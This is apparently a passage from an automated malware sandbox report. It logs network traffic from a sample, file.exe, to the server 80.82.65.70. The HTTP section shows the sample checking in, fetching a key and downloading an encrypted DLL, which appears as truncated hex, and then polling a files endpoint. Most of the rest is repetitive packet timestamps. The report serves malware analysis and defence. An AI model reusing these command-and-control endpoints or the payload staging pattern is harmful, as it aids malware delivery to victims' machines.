Dec 13, 2024 01:09:51.203361034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.204096079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.204149961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.204181910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.204235077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.204916954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.205040932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.205122948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.205722094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.205848932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.205914974 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.206526995 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.206597090 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.206626892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.207365990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.207432032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.207514048 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.208074093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.208205938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.208313942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.208404064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.209032059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.209081888 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.209134102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.209281921 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.209832907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.209907055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.209934950 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.209992886 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.210654020 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.210756063 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.210841894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.210906982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.211508989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.211558104 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.211617947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.212296009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.212398052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.212430954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.212481022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.213126898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.213196993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.213229895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.213352919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.213936090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.214020967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.214040995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.214065075 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.214751959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.214807987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.214890003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.214991093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.215641022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.215744972 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.215955973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.216504097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.216550112 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.216581106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.216620922 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.217187881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.221070051 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.286024094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.286061049 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.286138058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.286273956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.286375046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.286457062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.286521912 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.286585093 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.286640882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.287285089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.287343979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.287389040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.287467957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.288094044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.288181067 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.288208008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.288273096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.288981915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.289057016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.289083004 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.289149046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.289769888 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.289844036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.289870977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.289931059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.290596962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.290662050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.290714979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.291414022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.291465998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.291501045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.291529894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.292262077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.292335033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.292392969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.293025017 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.293225050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.293289900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.293874025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.294024944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.294126034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.294682026 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.294729948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.294789076 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.294938087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.295515060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.295615911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.295680046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.296281099 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.296379089 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.309458971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.309581041 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.309650898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.309803963 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.309911013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.309935093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.309959888 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.310703993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.310796022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.310866117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.310986042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.311446905 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.311501980 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.311556101 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.311614037 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.312263012 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.312350035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.312423944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.313123941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.313282013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.313338995 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.313929081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.314043999 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.314101934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.314739943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.314867973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.315373898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.315547943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.315670967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.316387892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.316442966 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.316476107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.316968918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.317229986 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.317347050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.317389011 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.318036079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.318099022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.318128109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.318310976 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.318834066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.318905115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.318945885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.319015026 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.319658041 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.319710016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.388197899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.388230085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.388366938 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.388406992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.388497114 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.388591051 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.389240980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.389322042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.389350891 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.389437914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.390069008 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.390127897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.390157938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.390249014 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:51.390885115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:51.390974998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:54.438113928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:54.438685894 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:10:15.731945992 CET	49731	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	80.82.65.70	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:09:14.487400055 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:15.862683058 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:15 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:15.876837015 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:16.354043007 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:16 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 13, 2024 01:09:16.587649107 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:17.150104046 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:16 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 13, 2024 01:09:17.150171041 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 13, 2024 01:09:17.150187969 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 13, 2024 01:09:17.150342941 CET	672	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 13, 2024 01:09:17.150361061 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 13, 2024 01:09:17.150377989 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 13, 2024 01:09:17.150393963 CET	1236	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 13, 2024 01:09:17.150414944 CET	1236	IN	Data Raw: 1a 2a 62 b4 ae 8a 5b 82 f2 2e 8d 4c f7 bc 4a 54 d2 2f 9c 5e d2 78 32 e3 23 07 42 8b dd c1 ad 98 37 2e 4a db d1 95 b9 bb 1a f0 cf e7 16 4b fc ec 93 ab e6 08 7e 4b 49 dc 0d 53 c5 8e 5f f2 c2 11 55 dc 53 1e 24 d4 8f 7e fa 25 60 68 8f b2 67 bd 27 d8 Data Ascii: b[.LJT/^x2#B7.JK~KIS_US$~%`hg'?CW[MQHSB-v0< c\tMc[T4Auxxc+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&
Dec 13, 2024 01:09:17.158658981 CET	1236	IN	Data Raw: 40 1b 4a eb 32 76 5f d3 fb 39 60 50 11 2c ac 7f 75 d5 41 17 9a ba 9a a5 65 e4 39 e7 ee 7b 3f e7 8d d7 54 c2 a5 72 c0 54 8a a5 b2 41 0c fc b8 f8 a6 99 6c 72 12 a8 98 67 28 3b fc fc c1 a9 30 6d fe 11 b8 f9 56 53 85 81 29 cb 26 d1 c8 94 83 58 a5 3c Data Ascii: @J2v_9`P,uAe9{?TrTAlrg(;0mVS)&X<V\/Z~_Jp;JOU6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[a
Dec 13, 2024 01:09:17.158720016 CET	1120	IN	Data Raw: 2b 67 00 6f 36 93 8b 8f 53 25 a3 ee f6 cc 1a d2 6d 3a a3 c7 1f 80 c8 43 65 da 7d 01 a3 c8 c6 08 e5 c2 f8 af 3d 9e 77 c1 ae 46 51 3f 02 02 8d 16 23 36 00 5e 2a 1d fc e1 36 a7 cc 4b 30 26 1d 8f 5f 45 f5 89 69 ff aa 98 7d 6d 1c a5 a0 d0 73 f1 10 df Data Ascii: +go6S%m:Ce}=wFQ?#6^6K0&_Ei}ms' 0u't0h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{T
Dec 13, 2024 01:09:17.166655064 CET	1236	IN	Data Raw: c4 2b ef bd 7d 2c 43 08 ed 7b 6b 29 6e 0e 1f c4 b7 82 38 dd 6c d9 86 f4 10 35 b0 a5 85 fc 11 b1 d2 2f 8d 77 64 e2 a9 08 d7 d5 3c d2 4a 6a 78 59 69 0f 6c e4 a9 b3 24 c6 f4 58 9a 23 39 7d c7 13 4c f7 63 fc 1e b2 57 02 df 46 1e fd 6d 66 5c 34 7b 69 Data Ascii: +},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)
Dec 13, 2024 01:09:17.646795988 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:18.133502007 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:17 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:20.160792112 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:20.644217968 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:20 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:22.672813892 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
